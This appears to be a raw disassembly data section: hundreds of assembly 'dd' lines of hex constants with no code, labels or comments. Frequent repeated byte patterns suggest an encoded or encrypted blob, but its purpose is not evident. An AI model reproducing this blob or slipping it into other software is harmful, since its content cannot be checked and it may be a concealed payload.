		dd 0EC08C7C4h, 34501911h, 819D5C59h, 26EAA9A6h,	69B46D69h
		dd 0CF8E8B5Bh, 0B473700Bh, 229F9998h, 368E9253h, 0B7329E88h
		dd 0BD0434F3h, 85422DEEh, 52F6988Bh, 7B58574Ch,	0CC938C46h
		dd 0BE39FC51h, 8F5850EFh, 6F3830CBh, 85AC1619h,	6CF65222h
		dd 1CB9h, 6024EFE6h, 4408C9C5h,	27EBAEA9h, 9CD928Ch, 0E9AD766Eh
		dd 0E7DF06BEh, 0C6BF5A1Eh, 0A2A03BFFh, 898621E5h, 0EFBA06CAh
		dd 78FCEB2Eh, 50FE675Dh, 29ECE786h, 784139D4h, 4E0D0AA9h
		dd 23662732h, 9F5B69B0h, 19DAA924h, 5B69B0FEh, 0C282D752h
		dd 0D93453F7h, 0FA1BC540h, 4E0D0AA5h, 0A6921C8Ah, 0D97D4C1Bh
		dd 0EB5BFD4Fh, 0ECB204Dh, 6177724Ah, 9D3C0B86h,	756EB5A3h
		dd 1F40EA7Ah, 3A374FA4h, 0A29B70DBh, 0C3DFA69Fh, 112DEAE8h
		dd 70C24506h, 37EA29Bh,	0B1D425E3h, 0E353F706h,	0C357EF0Fh
		dd 9DFCBD8Ch, 35A29BF2h, 96E765BAh, 40A8F68h, 0BE97B6h
		dd 0B6290000h, 0A2E5A6B9h, 1E5B69B0h, 310C28A3h, 57547039h
		dd 5B69B473h, 0A8697C79h, 0A4964B61h, 1CEB66E1h, 69BE837Dh
		dd 52110EA9h, 0C0013736h, 0B45322F1h, 0D433F4BBh, 94A4964Bh
		dd 920DD49Bh, 4B8702C3h, 0C03BA496h, 3692AE6Bh,	0AF4E9E88h
		dd 0B074EFB6h, 0AB7A47F1h, 8B8814EAh, 2725C498h, 75734E6Ah
		dd 6AE59CB8h, 88BFDA9Bh, 9813A888h, 36058043h, 12D69F97h
		dd 60B67F77h, 22855157h, 7EA9338Fh, 2100001Bh, 9B5F2Ah
		dd 0E47F4304h, 0C76226E9h, 0A94408CDh, 0F924E8B1h, 59221A4Bh
		dd 3A01FA95h, 20DDDB76h, 5C4C15Ch, 692AF541h, 5D78FD2Eh
		dd 0B68B39A2h, 9631F5BEh, 0A816DA99h, 93F6B786h, 2F5B69B0h
		dd 0C7C45FB4h, 925EAE4h, 0E0BBD752h, 865524E3h,	0D29ECE7h
		dd 0B0729556h, 53CE5B69h, 5EC93EFEh, 87566BCDh,	5C1D19B8h
		dd 15743540h, 0AD5B69B0h, 0A562B732h, 6177DF17h, 0B2BD56D1h
		dd 0BF41B30Eh, 0DFBA82AEh, 7A4EEB1Dh, 0F6B30883h, 0EE09E68Bh
		dd 0A5A0FD3Bh, 0B303A7B9h, 0FA756140h, 0DDAC27DEh, 6E2F403Eh
		dd 660A502Bh, 95B12CA7h, 151309B5h, 0D752841Dh,	82F6B782h
		dd 3E5C14C9h, 5B55F4C3h, 2A294196h, 15E4B30Eh, 59028546h
		dd 43BE6C3Dh, 23F31EEh,	46C15623h, 0F3DBD877h, 0BEDEC8D2h
		dd 0B478F3EDh, 75D1C19h, 0E02204D4h, 8A46D02Ch,	1500001Ah
		dd 0F48F531Eh, 0D87337F8h, 0BB561ADDh, 9D38FCC1h, 0ED18DCA5h
		dd 4D160E77h, 2EF5EE89h, 14D1CF6Ah, 0F9B8B550h,	5D1EE935h
		dd 5D78FE3Ah, 0B67F2D96h, 0DFDEFAB9h, 0D8996859h, 6177B730h
		dd 0DC511590h, 0E7DA5E6Dh, 38C87418h, 398004D4h, 4F6EA96Ah
		dd 67E2A298h, 76864712h, 0AA988620h, 2E4A130Bh,	0E45F2277h
		dd 2854615h, 0BEA88A60h, 4E59EE43h, 0E1B02AAh, 0EB40840Bh
		dd 0F80D642Eh, 413DDCD0h, 0EAD6480h, 3CFB5013h,	0E0A9A1FCh
		dd 0A3D59665h, 1D4D466Fh, 0B18786A2h, 0F0804110h, 10475460h
		dd 0F122C695h, 89A2FD0Dh, 414235AEh, 0D853311Eh, 1C19B883h
		dd 2FCE995Dh, 7E196E37h, 676CC281h, 87F171D9h, 19BFA12Bh
		dd 0E9E00000h, 0C3BF5A1Eh, 0A8A33E02h, 8C8621E5h, 706803C7h
		dd 0CB8E3A7h, 5418E1D9h, 35F9C0B9h, 1BDF9C9Ah, 0C48380h
		dd 0E128E9B4h, 615D78FFh, 0B9B64AF8h, 0B0A2E5A6h, 55165B69h
		dd 5B69B032h, 0D14C138Eh, 602F3A56h, 0E400C9C1h, 0B02D6C2Dh
		dd 2AA55B69h, 9F2216D5h, 8F5D01D0h, 0E3A4A07Dh,	0A4446F3Fh
		dd 73F514D5h, 0D24D5B69h, 0A64C07Dh, 0A9246177h, 0DB1270E5h
		dd 0D495645Dh, 988575C0h, 0A4656100h, 0CA8B5A29h, 0A88DCB4Fh
		dd 9E338803h, 0F613D4A1h, 0EAE5840Bh, 2513D227h, 9C0CCD9Ch
		dd 54364C08h, 7EF9B8B5h, 0ECD56362h, 0BD867E1Dh, 54DC9D68h
		dd 64305A43h, 0F349E7C0h, 8CE1DAACh, 0E07F4EC9h, 500723E4h
		dd 949130FBh, 797611D5h, 337564BAh, 19759A7Bh, 18E48Fh
		dd 0F9C4BB00h, 0DD9E9A35h, 0C0837E19h, 0A26761FCh, 824B43DEh
		dd 0B4D193BEh, 942FF3BCh, 7510D49Bh, 5BF6BA77h,	8FDB9F5Eh
		dd 0E08403C4h, 0D33C5D78h, 0FAB9B625h, 802FD3DEh, 0AE18CD8h
		dd 1632F9F2h, 0D08FE45Fh, 0E68A5968h, 0CDC8AAB7h, 6FF0660Ah
		dd 4405D025h, 61772900h, 0C8145C0h, 4BD7BB2h, 6607435h
		dd 25A09885h, 0CF228F8Ch, 52E6AB48h, 0A9DFA06Fh, 1F97D63Fh
		dd 8CE0807Bh, 42979F62h, 0E9E8047Fh, 0E2A3724Fh, 91E4F54Eh
		dd 0FCECB6Ah, 99B57270h, 4FCA8DE2h, 25E4E180h, 0AC9C661h
		dd 0E08BDBB4h, 0D55FBB3Bh, 1839h, 0E0A46F66h, 0C4884945h
		dd 0A76B2E29h, 894D120Ch, 692DF6EEh, 675F863Eh,	463FDA9Eh
		dd 2220BB7Fh, 906A165h,	6F3A864Ah, 78E06BAEh, 0D07EE75Dh
		dd 2A6B9B6h, 47893E7Dh,	5CBB7C6Ch, 0F45B695Bh, 602FFE79h
		dd 695B789Fh, 4205005Bh, 1DE2DC7Bh, 30CF4A01h, 0A0577334h
		dd 434334Bh, 1F2DEEBDh,	0D9617722h, 0B6259A5Eh,	0DFAE1325h
		dd 62C84F10h, 0D88A29Bh, 0C77BBB69h, 0DB30FDFBh, 0A2BD4F10h
		dd 7B9885h, 0E9EA6A67h,	3ADE1CD6h, 0A4A19790h, 0B1F741E5h
		dd 2018D72Ch, 6403D2A1h, 9451A669h, 16CFB64h, 3A4561DCh
		dd 6FE76396h, 0DA2F54FAh, 0D5A41D1Bh, 0AB6A6706h, 3F979956h
		dd 0AE293B7Ah, 844340DFh, 692825C0h, 9BF1B013h,	2AB41082h
		dd 1765h, 0B478433Ah, 985C1D19h, 7B3F02FDh, 5D21E6E0h
		dd 3D01CAC2h, 3B335212h, 1A13AE72h, 0F6F48F53h,	0DDDA7539h
		dd 430E5A1Eh, 78E10782h, 0A452BB5Dh, 0DEFAB9B6h, 996859DFh
		dd 7AF951D8h, 0D4D27161h, 0C944FB17h, 1C872BFAh, 0B4E82837h
		dd 1E3AFFF9h, 0FC97EC67h, 0BF7C40FFh, 0A28784A8h, 2EF2CF6Ch
		dd 0BBB39693h, 0FEFBD6F2h, 0F16C233Fh, 45F3B276h, 4DECAD7Ch
		dd 859894CAh, 0CD6C3B0Ah, 1FBA0FD2h, 39E6223h, 4F2A4607h
		dd 703D9352h, 3022B880h, 16CF4AD4h, 0D9D00000h,	0B3AF4A0Eh
		dd 98932EF2h, 7C7611D5h, 6058F3B7h, 3CA8D397h, 4408D1C9h
		dd 25E9B0A9h, 0BCF8C8Ah, 0F0B47370h, 0F118D9A4h, 515D78E2h
		dd 0A6923AE8h, 0DE7D4C1Bh, 4E0521E2h, 0F93D3CF9h, 5AD5617Ah
		dd 0DCEFEC8Bh, 8707FC1Bh, 0C48554A2h, 0A2870745h, 8C0782FDh
		dd 8F3209C8h, 7ECFFC0h,	5D2CA287h, 0E400C3BEh, 72D6C2Dh
		dd 17C8A287h, 0DE1023CDh, 88037E45h, 5E1D1AB9h,	1E368B42h
		dd 87EDE321h, 66B779A2h, 7EABF38h, 4267B6h, 0FD9C0000h
		dd 6F2642FFh, 0A992AC1Ah, 0D884918h, 0BD5B69B0h, 0EA292642h
		dd 825B69B0h, 0B6416FC0h, 70AFF647h, 1Ch, 0B0709402h, 64D45B69h
		dd 1BCD8E5Dh, 0D56177CFh, 0ADE78B5Ah, 6D1BB97Ah, 0CD3BFB50h
		dd 4C1BA692h, 0AAEDAE7Dh, 265B69B0h, 0B0AFEAABh, 0A8235B69h
		dd 0DC78853h, 0BB6177BBh, 415D221Ch, 2DF0EB8Ah,	0C3DF5A11h
		dd 682CEBE8h, 0F511D0CDh, 8C514BEAh, 9D15B970h,	9116A9E8h
		dd 635BF64Bh, 0E627CB9Ah, 0A11DF2AAh, 4FE5FD52h
		dd 0F8F53C8Dh, 0CECB6A39h, 5FFABA0Fh, 0C1847F62h, 0ECDCAA5h
		dd 0FDFC1893h, 0E8B7863Bh, 90315819h, 1691A298h, 905004C1h
		dd 0F1909886h, 631A36F3h, 1ACE0EBFh, 8500C5CBh,	412926C1h
		dd 0DD5A324Eh, 7B9712FAh, 432D787Eh, 0F2430520h, 2BEFAEABh
		dd 0B8D49390h, 21EE3DDh, 2097E8A6h, 0AAC68381h,	9712D3CFh
		dd 0EBAAA742h, 0D08F8C27h, 3E83B5B4h, 501A06Fh,	0E6ABA544h
		dd 195CD491h, 0C5641ADBh, 0CB8F0AC7h, 583C5C00h, 0A28D6D48h
		dd 0F1460703h, 7E9A5956h, 0C7E3AAA3h, 122EF1ECh, 5A763F37h
		dd 8EB102C4h, 0DA217234h, 804F1EDDh, 0F7BC58BFh, 287DF82Eh
		dd 0EDD0CD68h, 0FE19DAF3h, 522EF7BCh, 89405CD7h, 45F3F20Eh
		dd 9CECAD7Ch, 5414E9C4h, 7A3B0AD9h, 34E6441Fh, 23E338B3h
		dd 0B0CC8B88h, 0E64450B3h, 6ABB3D04h, 965954F3h, 0D36EC37Ah
		dd 0B85317D6h, 6E1FDBAh, 3429450Eh, 0A7DEC569h,	5F352AEAh
		dd 0F43B8C0Ah, 0DA7539F6h, 0B1501FDCh, 1DD4F0B9h, 0DBD5B0C8h
		dd 4FA34716h, 34EA5BEBh, 9E0F92F6h, 8D08F0D3h, 7B8A2038h
		dd 0C0ACEBACh, 0A92404E6h, 3E85D654h, 24BF8340h, 64494526h
		dd 0D48BA768h, 0B863D59h, 7948F0EFh, 0CBE3E9AAh, 62DD3EF8h
		dd 0AC716B46h, 0F8B9B590h, 1869E7DCh, 0C617D5F5h, 0F5C4817Fh
		dd 42975C56h, 2BEAE782h, 7837340Fh, 98E9675Ch, 0D1955451h
		dd 74E6A84Fh, 4C7E56h, 0FB30000h, 0E2924786h, 54C217F4h
		dd 0E6A7B8B6h, 5B69B0A3h, 98C7B1Fh, 0CCE89798h,	46C18251h
		dd 0FA5B69D7h, 0DDE8047Fh, 0E280239h, 0F449D314h, 0A19A0335h
		dd 8C07BEDAh, 87D8FCBDh, 7DF86177h, 54110FAEh, 6C2C8138h
		dd 2D22h, 0B8B6B000h, 58E0DFFBh, 68614C45h, 53CE85A1h
		dd 793A09D8h, 5B69B01Eh, 17E237B2h, 7DE3A448h, 0B91484EFh
		dd 77F5A764h, 0F8736177h, 6DDCC634h, 18E7DA5Eh,	77DF4557h
		dd 6F088361h, 0ED171772h, 3889AFA9h, 7370A869h,	44E86449h
		dd 0ED72DC66h, 0ACD229Ch, 0C474738Fh, 0A21DDCD9h, 74372FD3h
		dd 25BAF043h, 973605D0h, 47C2839Eh, 0FBA4598Ah,	75360580h
		dd 0A4598A12h, 21DE33AEh, 9E47D10Fh, 986736B1h,	0E43900F9h
		dd 0C98D4C49h, 2B6E2FFEh, 0A7A2484Fh, 3F3CD72Ch, 96772A80h
		dd 0B7132845h, 133C2Dh,	0A16C6300h, 854642DDh, 682B26C1h
		dd 4A0F09A4h, 2AF3EB86h, 5C893B66h, 3CD79B64h, 1DB87C43h
		dd 39E621Fh, 37834706h,	0E56CAB6Ch, 7BE45D78h, 0B17594CDh
		dd 21C55B69h, 85C8D50h,	5D1C194Dh, 0BA0F8A41h, 0B5843DFBh
		dd 8C4947E6h, 1BE27A37h, 0A31E9E88h, 783935D4h,	0EA895823h
		dd 3BD62BF0h, 21BC803Dh, 6F4A6623h, 245DB372h, 3C2895CDh
		dd 12C756E0h, 0E1D80000h, 0BBB75216h, 0A09B36FAh, 847E19DDh
		dd 6860FBBFh, 34B0DB9Fh, 4C10D9D1h, 2DF1B8B1h, 13D79492h
		dd 0F8BC7B78h, 0F920E1ACh, 595D78E6h, 0A69242F0h, 0F18B4C1Bh
		dd 2F6177D7h, 4A46E5B4h, 2FAA6765h, 58FCA06Bh, 0BC764EBh
		dd 3BA0E7A8h, 0A520A298h, 3E3AD52Ah, 0B256617Dh, 8AEF12E3h
		dd 2420BFF5h, 3B904763h, 0C8E4A3A0h, 165DAE6Ch,	2095591Ah
		dd 0AC1525C8h, 7B3C3813h, 0C422625Fh, 7E3CA298h, 29EAE62Dh
		dd 0DCECA65h, 7B46F2F1h, 8D2CEBACh, 0FD9C988Bh,	6A213D04h
		dd 0BB10CDCBh, 0FAE7DF8h, 33FE5312h, 14D89794h,	1D67A49h
		dd 0F17A0D1Dh, 0C0ABEEAFh, 0AC27A889h, 0FA4F120Dh, 87A3625Fh
		dd 4211B088h, 9A890381h, 7342BD92h, 0C116D9D4h,	9B5A57F6h
		dd 803F3CD7h, 0EED36564h, 0F8525E1Fh, 0F36E8CB8h, 0A49EFE9Dh
		dd 8C167236h, 11D5h, 4408D3CAh,	28ECADA9h, 0BCF928Dh, 0EDB17670h
		dd 0CD915A52h, 0CBC322A2h, 0AAA33E02h, 86841FE3h, 6D6A05C9h
		dd 0D39EEAAEh, 78E7F712h, 34E24B5Dh, 69B07C94h,	211DBC5Bh
		dd 388D4460h, 1EE29F9Dh, 19E8D95Fh, 7AF93C58h, 42118C61h
		dd 657B273h, 70EBA287h,	0B6B1501Bh, 0C5642FF3h,	793A09C8h
		dd 0A287061Eh, 74E237B2h, 764028CFh, 6760FFB0h,	78CD84A0h
		dd 1B7ACh, 0AA923E00h, 9332FBF3h, 0FFB6D29Bh, 0B7861284h
		dd 0B4581F18h, 2D36592Ah, 500D6200h, 5B69CFCCh,	95F4B584h
		dd 2D5B69CFh, 1C975DB2h, 0BAE286AAh, 42B3C6E3h,	56C893E8h
		dd 92617BD3h, 0AC4B1AA7h, 0BFDA9BB0h, 135B69B0h, 4A011D98h
		dd 0D4F0ADABh, 2D5AC81Dh, 19A8927Fh, 0CF0EBCA7h, 0B2F64038h
		dd 58EEh, 0A7928000h, 0B08205C6h, 75365B69h, 5B69B012h
		dd 0F16C33AEh, 0B0266122h, 1F9A5B69h, 0B78632A4h, 0B0E027E8h
		dd 0E5605B69h, 0B0B1D390h, 940F5B69h, 0D75121C5h, 0C60F915Dh
		dd 0E7860371h, 8D328EDh, 0E9E78696h, 459102Ch, 39AB6E69h
		dd 28EDE786h, 7C472D3h,	64h, 0F6A79295h, 681F3BF8h, 0B7867BEDh
		dd 69B093F6h, 5FB42F5Bh, 35F6C594h, 5B69B0D2h, 0FD6CF6Eh
		dd 2823F94h, 0BB5B69B0h, 0D6D27140h, 2854615h, 0BE5B69B0h
		dd 8680EE43h, 0F2BEAE7h, 0C6380358h, 0D8D4BBB6h, 2FF0FB17h
		dd 5B69B0E8h, 0F772ED68h, 0EEE78685h, 6671D227h, 6206CFC7h
		dd 0EAA6979Ah, 5CCA1FD5h, 0F64038CFh, 52EEB2h, 84230000h
		dd 0F4ABC788h, 0A892319Fh, 0C586A719h, 5B69B047h, 18B78601h
		dd 9604591Eh, 0BAB61486h, 574E4BD0h, 8B06E3D1h,	0ED2CEDBCh
		dd 655B69D3h, 0FBB346EAh, 2144ECBFh, 0E7865ECCh, 9C5D2CE9h
		dd 5B69B07Dh, 0A4055AD5h, 3CFFFA99h, 370779E7h,	95000000h
		dd 4A19A892h, 0B05FBA7Bh, 78F35B69h, 0C586B523h, 5B69B047h
		dd 0A4615FFEh, 0B0F514D5h, 0D24D5B69h, 0ECE98857h, 0BF24892Dh
		dd 0A63B7130h, 1486E351h, 87F9BAB6h, 390742F0h,	95FFFFFEh
		dd 0FCF7A692h, 0EB661D39h, 0F9DC5B1Ch, 55F4617Ah, 4A19945Dh
		dd 2BEFAEABh, 5C4C160h,	6127536h, 33AEA287h, 0A51C1FDEh
		dd 0C34607D6h, 7FA28706h, 23E4AF04h, 0A28706E4h, 4DCC8D5Ch
		dd 5A28706h, 0A1400F8Ah, 0EC5E1A8h, 6BA4A1B9h, 0F7A28706h
		dd 41B6E435h, 0E5B60792h, 2Dh, 0B0719477h, 0FCF95B69h
		dd 58BC793Dh, 0FC5B69B0h, 0F5B6853Ch, 6177BF0Bh, 2C763AB5h
		dd 0A4h, 0FFC4BE5Dh, 0D57AC95Bh, 6ABF878Ah, 1BA692FCh
		dd 0BC558B4Ch, 108B6177h, 0E7A4A241h, 0F6B45823h, 7D6C025Fh
		dd 0B3B14CA1h, 9A15D6D2h, 8B97F7Eh, 5997839h, 0AE29988Bh
		dd 854240DFh, 561F17B6h, 0A8A64101h, 68D0CFEBh,	45C98A59h
		dd 0F3929A40h, 43985754h, 67360580h, 0A6C063A6h, 0F64DFB6h
		dd 0E9A8A544h, 0CE8D8A25h, 0AB1AE378h, 5DE7433Ch, 0EB5h
		dd 6428F3EAh, 480CCDC9h, 2BEFB2ADh, 0DD19690h, 0EDB17A72h
		dd 0EBE302C2h, 0CAC35E22h, 0A6A43F03h, 8D8A25E9h, 0F3BE0ACEh
		dd 78EAD732h, 54026B5Dh, 0DAD6B9B6h, 0CB46FD19h, 18D7D4AFh
		dd 388907FCh, 7135F4F1h, 0F64808EFh, 691EAFh, 86B00000h
		dd 0B093F6B7h, 0EA525B69h, 5076F6E7h, 0CA69E4ABh, 0F7B60BD0h
		dd 2C6B2C41h, 0A45B697Fh, 1EDFAE29h, 617705EAh,	7D1CEB66h
		dd 2723C27Fh, 3E934A66h, 8B4C1B26h, 0A29B050Ch,	59F449C4h
		dd 3ED99D5Ch, 9E655E41h, 3BFCCB82h, 0A29B05DCh,	627EF974h
		dd 1DECD563h, 8509645Ch, 12E15C98h, 18078243h, 40BBA88Dh
		dd 0B6BD2BEBh, 9A35F9BAh, 0C4C1DD9Eh, 5B69B04Eh, 700F201Eh
		dd 96F1B275h, 2A5B69B0h, 0A5079986h, 0FF7AB745h, 3701C084h
		dd 0E1FABB8Ah, 21617ACFh, 5D769152h, 26CAA287h,	0EB0F0E03h
		dd 2AA520D4h, 0DAC1BC5Bh, 4B021EDDh, 0CF9E0CD0h, 0B0764028h
		dd 12AFEh, 0AA929000h, 0C586A517h, 5B69B047h, 2E692AF9h
		dd 0A25B69B0h, 910CD227h, 0EFE7861Fh, 9406D126h, 60047BD3h
		dd 0E2A8E1Eh, 80EE434Ch, 0A81AA792h, 0A8927F2Dh, 40A64A19h
		dd 90784C71h, 0BCEA58ADh, 4038CF0Eh, 33EEB2F6h,	23000000h
		dd 64D5587Fh, 53A8ED73h, 1AA792E5h, 6151A74Bh, 0DAEFA55Dh
		dd 617D403Bh, 86E755AAh, 69B047C5h, 1486015Bh, 0BBB61486h
		dd 42F086F8h, 5607h, 0E7869500h, 560D29ECh, 0A6F74201h
		dd 4E49E8ABh, 3DB86F8Bh, 47C586CBh, 0F95B69B0h,	819D5E5Ah
		dd 34AF75CAh, 0B2D59665h, 0E5B69B0h, 5EFAEF93h,	2EB1F906h
		dd 14866BD9h, 0DAD4BBB6h, 0A342F915h, 9B6AE5A8h, 219115F7h
		dd 17E664B1h, 69543356h, 0BF148F5Bh, 0CF42F051h, 0B2F64038h
		dd 1FEEh, 0A8928000h, 0C586A719h, 5B69B047h, 0A3686201h
		dd 1486B628h, 87F9BAB6h, 2A0742F0h, 95000000h, 0A719A892h
		dd 27E8B786h, 5B69B0E0h, 5C4C160h, 62B732E9h, 69B067A5h
		dd 0F163DE5Bh, 0BAB61486h, 908B2AF9h, 0F00A78CDh, 0FECD0742h
		dd 8695FFFFh, 102CE9E7h, 0F3450459h, 74AE68A5h,	0EC672632h
		dd 5CDD5C1Dh, 51F5617Ah, 0EE49733Dh, 0D9A8235Fh, 0BA7E3D3Ah
		dd 0B28140FBh, 866F96F1h, 9A5B2AA2h, 0A2866F7Fh, 0EDD58D3h
		dd 6F1B7E3Fh, 3CB7A286h, 0B9D2CFE7h, 25A2866Fh,	13E41263h
		dd 13B60669h, 1Ah, 0B07194A5h, 0FCF95B69h, 0DE9F6E3Dh
		dd 5B69B0BBh, 87479C17h, 0C83Dh, 0A692CB00h, 3C9530F2h
		dd 51CC9597h, 0A8FBC182h, 2AA56177h, 1BF8B75Bh,	0B3787E04h
		dd 25C4935Eh, 944B672Ah, 0E9A6A43Fh, 0F8A4B1Ah,	0C3A29B47h
		dd 6833F348h, 0C1C8F599h, 91ED5CD4h, 9BDC49D0h,	713831A2h
		dd 3FDA2FAAh, 69688441h, 6223F2CFh, 988895D3h, 0AD6A6807h
		dd 0F6BDB691h, 53A823DAh, 0A7461590h, 8D28ECA9h, 0EEB5AE8Fh
		dd 84A01BD2h, 3F0EB385h, 12D7D170h, 5B221BF6h, 40CE8BE0h
		dd 929BD0h, 1A17B685h, 0FFFC975Bh, 8A5FEA40h, 4FAB3CABh
		dd 0B7CC5h, 612C2300h, 4506029Dh, 28EBE681h, 0ACFC964h
		dd 0EAB3AB46h, 1C49FB26h, 0FC975B24h, 0DD783C03h, 0C35E22DFh
		dd 0F74307C6h, 0ED2C6B2Ch, 3BA45D78h, 0FAB9B68Dh, 470603DEh
		dd 9453502Bh, 0DFA29D78h, 3A8B0DC3h, 8FE05E17h,	0BD8C4B48h
		dd 6C34261Eh, 0E6037833h, 0A868BD38h, 0F5E2D126h, 80B256AFh
		dd 3F758C9Eh, 0E729556h, 53CE5B69h, 64B783D8h, 49000000h
		dd 26EFE786h, 9B2612D1h, 0E0D90BCCh, 400F6177h,	9860187Fh
		dd 0A8EFB0A2h, 28A29860h, 9C6BE6ADh, 9860BCDBh,	449914A2h
		dd 0DFEA0681h, 4075343Bh, 98ED8EB8h, 2CED00FDh,	0A298BEEDh
		dd 0A06FEA65h, 733832D1h, 98BE57B2h, 1B70EBA2h,	4C3C05Bh
		dd 724FE9E8h, 490604A3h, 9C6829F4h, 4C9886B2h, 0B69F0DD1h
		dd 7835F9BAh, 5B69B018h, 5115D2D0h, 0FEEEE786h,	0CC827776h
		dd 318601C2h, 2CFBC672h, 7ABB496Bh, 3D0C8761h, 0C2BCA39Eh
		dd 0AF2AE1FDh, 28CF7DEBh, 0FEB07640h, 1A1h, 84979433h
		dd 0E9B044C3h, 681FCA4h, 0B0137637h, 34AFA4E9h,	0AA9271DFh
		dd 0C586A517h, 5B69B047h, 861183FEh, 0E027E8B7h, 605B69B0h
		dd 3EDF7BCh, 0A01BD4E6h, 7BD3DD4Bh, 1AA79261h, 0E1DD7C4Bh
		dd 0B0385F20h, 1D985B69h, 222D5AC8h, 0ABC78683h, 995855F4h
		dd 371C67Dh, 4C5A892h, 5B69B085h, 0B0157435h, 32AD5B69h
		dd 0A675F06Bh, 0B0F316D7h, 0D44F5B69h, 0EBC117Fh, 0F64038CFh
		dd 5250EFB2h, 6DC27995h, 4FA1h,	0A7923300h, 0B08205C6h
		dd 0C33E5B69h, 0E786D648h, 550C28EDh, 10743500h, 0B05B69B0h
		dd 0B0F920E1h, 0DE595B69h, 1486F163h, 29F8BBB6h, 0AFCB908Ah
		dd 0E3F7D7CFh, 1691155Ch, 0E5F053C1h, 5E555241h, 53A88773h
		dd 0EDE786E5h, 4489D328h, 17000000h, 0A81AA792h, 0B047C586h
		dd 5AF95B69h, 0C87F9B60h, 0C032AD73h, 1F18B786h, 0B6950358h
		dd 19D6D4BBh, 28A246FDh, 80243499h, 700FDE59h, 0CD908B78h
		dd 0DB7FFAB1h, 7F3DBC31h, 0F15FB439h, 2AEBE786h, 0CFC674D5h
		dd 0B2F64038h, 4AEEh, 0A8928000h, 0C586A719h, 5B69B047h
		dd 0E8B78601h, 69B0E027h, 41E5605Bh, 893ACD2Eh,	0FB69BEC5h
		dd 0BAB61486h, 938B2AF9h, 0A2F7AECAh, 46E5F034h, 0C230854Eh
		dd 93F6B786h, 525B69B0h, 0CB387E2Ch, 0BE3900D3h, 2D1F69h
		dd 92AD0000h, 86A719A8h, 69B047C5h, 1183FE5Bh, 0E7861486h
		dd 300B27EEh, 9D547037h, 3632CD22h, 73715451h, 9E9C3BB6h
		dd 930EC5E1h, 742F021h,	0FFFFFE56h, 1BA69295h, 0F9EC8B4Ch
		dd 0A924617Ah, 746C0BDAh, 10C80482h, 61DCABA7h,	0B574710Ch
		dd 1D8226F1h, 0BDDD2946h, 3DFEBD12h, 84D8735Bh,	7924C887h
		dd 6433AE5Eh, 876D64A3h, 4561DCA2h, 876DCF48h, 88D99BA2h
		dd 76B9D5Ah, 1889B6h, 941B0000h, 5B69B071h, 793DFCF9h
		dd 30110FAEh, 0A0F57037h, 0A656h, 0A692E400h, 0DD8B4C1Bh
		dd 136177E4h, 5BFAC998h, 0CB829E5Fh, 0F7DDDB76h, 4E97828Bh
		dd 0A4615FFEh, 0CE8D8A29h, 0F6F48F53h, 1A1E1D39h, 597F97Eh
		dd 0AAE0A79h, 1415A809h, 0FFCE49CEh, 8BB42B3Eh,	9D6CE798h
		dd 7F4300FEh, 0D29E6E4h, 0C8972A0Eh, 9AF68B07h,	36953992h
		dd 0B00842F2h, 0E3A09E3Dh, 0C69510C7h, 0A76B2A27h, 0FA500F0Ch
		dd 3CAA4571h, 0F2CB55B1h, 0AD000007h, 8C27EBB6h, 700BCF90h
		dd 53EEB275h, 35D09459h, 85B0743Dh, 0E5AEA6DFh,	0C68D8621h
		dd 0AC696702h, 91504DE8h, 0F5B681CDh, 5D78D092h, 0B617C52Eh
		dd 9B59D1B9h, 72323D65h, 300DBF7h, 0B5332844h, 61201D64h
		dd 8702C392h, 3B5B6901h, 29AB6BC0h, 0AFF59ACEh,	5F58h
		dd 0E786EA00h, 948D2CE9h, 0A5FAB1CDh, 0A06F52E6h, 77BFF1DFh
		dd 2C28C761h, 8453166Bh, 984144C3h, 662924A2h, 8DA9249Fh
		dd 98410D90h, 35FCF5A2h, 0CA4D0E19h, 86A29841h,	886E6C0Bh
		dd 0C0787FBh, 0AAC64172h, 0FE2172F4h, 12409153h, 0B6045AE5h
		dd 7441h, 0DED77600h, 1C38F5F3h, 2795EA65h, 4C1BA692h
		dd 77E3298Bh, 9D6CE761h, 6FAA63F9h, 20EFC6BAh, 98F6385Fh
		dd 0C81D98A2h, 5701A5B0h, 0E3556393h, 0EC25E68Ah, 0E1B6AC31h
		dd 0CF4F18Ch, 0F7DFE4D3h, 0EDB12C28h, 77925322h, 0CBA29818h
		dd 6360FB50h, 0DE7D88A4h, 0ECD22E1h, 0F9C8972Ah, 13C60755h
		dd 0BA7B6E9Ah, 0A2985D5Fh, 0A8FD78F3h, 86097DEBh, 34F87398h
		dd 4E71DCC6h, 0B05BBE7Fh, 7CF75B69h, 0F1D06827h, 0DF536122h
		dd 128D6177h, 0E9A6A443h, 55F4FF94h, 681425Bh, 0BAA29860h
		dd 0B26FC43Fh, 0E22E2AB8h, 6D5EC4Ch, 0C4FD345h,	0F6128D58h
		dd 0B18041F7h, 375213E2h, 8B6804DBh, 19804110h,	0B96804DAh
		dd 42CE93Eh, 0BC521A81h, 0BE74B218h, 0B631DFFCh, 634B48E7h
		dd 35EE79E2h, 20EF6AD9h, 0F7C68381h, 36E8D336h,	9FF46F76h
		dd 884744DFh, 3B328332h, 0F983DFFCh, 649h, 0D0945F56h
		dd 0B4783935h, 975B1E19h, 793D02FCh, 591DE6DEh,	574FB62Eh
		dd 362FCA8Eh, 1210AB6Fh, 0F9F69155h, 5F2A763Ah,	78D27B9Eh
		dd 0C06ED75Dh, 28EDE786h, 75CA8F89h, 21EDDDAh, 9A692C27h
		dd 601301FBh, 8E386CC4h, 1FD6F26Dh, 0ED4B0ACAh,	0D5ADC9ABh
		dd 23E4BE03h, 5B698DE4h, 0EB66E15Ch, 0BD7E4D1Ch, 5B698D5Ah
		dd 0E0DC7BF6h, 0F74C031Fh, 7AC42F3Ah, 403CDB61h, 0EC672A7Fh
		dd 0C3807E1Dh, 807B566Eh, 9EFA67BDh, 0AE0A288Ah, 5B824h
		dd 25F0E700h, 9CAC661h
		dd 0ECAFAA45h, 0CE938D28h, 0AE776F0Ah, 0E005BFEAh, 0C05B1FE8h
		dd 0A13C00C7h, 8722E6A3h, 0BB07CB8Ah, 0D3E82FF0h, 0FF685D78h
		dd 1BA69251h, 0F9F88B4Ch, 6938617Ah, 6BED99Ah, 9712A287h
		dd 8706B3D6h, 19940FA2h, 5FBA7B4Ah, 0F3A28706h,	0B2378h
		dd 6297031h, 0D9D1A287h, 763DF410h, 2C6B2CFBh, 0A4A28706h
		dd 3E39D429h, 0DCA2257Bh, 62BE288Ah, 53CD8h, 0A16C6300h
		dd 854642DDh, 682B26C1h, 4A0F09A4h, 2AF3EB86h, 5C893B66h
		dd 3CD79B64h, 1DB87C43h, 39E621Fh, 37834706h, 0D36CAB6Ch
